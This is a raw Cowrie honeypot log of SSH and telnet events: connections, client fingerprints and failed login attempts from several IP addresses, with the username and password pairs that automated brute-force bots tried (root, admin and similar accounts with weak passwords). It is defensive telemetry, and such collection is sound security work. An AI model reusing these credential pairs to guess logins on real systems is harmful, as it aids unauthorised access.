{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:20.604892Z","src_ip":"43.153.31.20","session":"174dcfa032df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xx123456.","message":"login attempt [root/Xx123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:20.913348Z","src_ip":"43.153.31.20","session":"174dcfa032df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.03808832168579,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:20.933367Z","src_ip":"152.42.224.71","session":"27ee30b74bb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:21.130811Z","src_ip":"103.77.175.15","session":"1bf1f03387ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:21.445884Z","src_ip":"43.130.38.88","session":"978473b64a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":44956,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb01866a7feb","protocol":"ssh","message":"New connection: 45.153.34.97:44956 (10.17.0.5:22) [session: bb01866a7feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:21.872968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:21.883824Z","src_ip":"45.153.34.97","session":"bb01866a7feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:21.973687Z","src_ip":"45.153.34.97","session":"bb01866a7feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:21.992413Z","src_ip":"43.153.31.20","session":"174dcfa032df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kino","password":"kino","message":"login attempt [kino/kino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:22.394135Z","src_ip":"45.153.34.97","session":"bb01866a7feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:23.524708Z","src_ip":"45.153.34.97","session":"bb01866a7feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":44968,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6fe2da5f2c8","protocol":"ssh","message":"New connection: 45.153.34.97:44968 (10.17.0.5:22) [session: e6fe2da5f2c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:26.374650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:26.380091Z","src_ip":"45.153.34.97","session":"e6fe2da5f2c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:26.496083Z","src_ip":"45.153.34.97","session":"e6fe2da5f2c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123","message":"login attempt [admin1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:27.116408Z","src_ip":"45.153.34.97","session":"e6fe2da5f2c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:28.391736Z","src_ip":"45.153.34.97","session":"e6fe2da5f2c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":12700,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e6486c6ca1d","protocol":"ssh","message":"New connection: 45.153.34.97:12700 (10.17.0.5:22) [session: 3e6486c6ca1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:30.824560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:30.830357Z","src_ip":"45.153.34.97","session":"3e6486c6ca1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:30.913486Z","src_ip":"45.153.34.97","session":"3e6486c6ca1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.177653551101685,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:31.101973Z","src_ip":"152.42.224.71","session":"318086109dd7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testuser1","password":"123456","message":"login attempt [testuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:31.192755Z","src_ip":"45.153.34.97","session":"3e6486c6ca1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:32.292613Z","src_ip":"45.153.34.97","session":"3e6486c6ca1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":12704,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9b93ee8f4e6","protocol":"ssh","message":"New connection: 45.153.34.97:12704 (10.17.0.5:22) [session: c9b93ee8f4e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:35.191975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:35.196661Z","src_ip":"45.153.34.97","session":"c9b93ee8f4e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:35.286365Z","src_ip":"45.153.34.97","session":"c9b93ee8f4e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567","message":"login attempt [admin/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:36.282848Z","src_ip":"45.153.34.97","session":"c9b93ee8f4e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:37.531255Z","src_ip":"45.153.34.97","session":"c9b93ee8f4e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35814,"dst_ip":"10.17.0.5","dst_port":23,"session":"961589356263","protocol":"telnet","message":"New connection: 152.42.224.71:35814 (10.17.0.5:23) [session: 961589356263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:39.412078Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":12712,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcc970e169f1","protocol":"ssh","message":"New connection: 45.153.34.97:12712 (10.17.0.5:22) [session: bcc970e169f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:39.775732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:39.792162Z","src_ip":"45.153.34.97","session":"bcc970e169f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:39.872748Z","src_ip":"45.153.34.97","session":"bcc970e169f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spiderman","message":"login attempt [root/spiderman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:40.495605Z","src_ip":"45.153.34.97","session":"bcc970e169f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:41.587956Z","src_ip":"45.153.34.97","session":"bcc970e169f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":40282,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2cf32018b0a","protocol":"ssh","message":"New connection: 38.93.206.2:40282 (159.203.135.109:22) [session: f2cf32018b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:42.849486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:42.855558Z","src_ip":"38.93.206.2","session":"f2cf32018b0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:42.906944Z","src_ip":"38.93.206.2","session":"f2cf32018b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olga123","message":"login attempt [root/olga123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:43.063448Z","src_ip":"38.93.206.2","session":"f2cf32018b0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":35706,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bb3e115acca","protocol":"ssh","message":"New connection: 45.153.34.97:35706 (10.17.0.5:22) [session: 0bb3e115acca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:44.073033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:44.089420Z","src_ip":"45.153.34.97","session":"0bb3e115acca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:44.116567Z","src_ip":"38.93.206.2","session":"f2cf32018b0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:44.604360Z","src_ip":"45.153.34.97","session":"0bb3e115acca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"654654654","message":"login attempt [root/654654654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:44.892819Z","src_ip":"45.153.34.97","session":"0bb3e115acca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.09153985977173,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:46.017574Z","src_ip":"152.42.224.71","session":"d4069aab38cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:46.122016Z","src_ip":"45.153.34.97","session":"0bb3e115acca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":35716,"dst_ip":"10.17.0.5","dst_port":22,"session":"45eecf7a4bc9","protocol":"ssh","message":"New connection: 45.153.34.97:35716 (10.17.0.5:22) [session: 45eecf7a4bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:48.773476Z"}
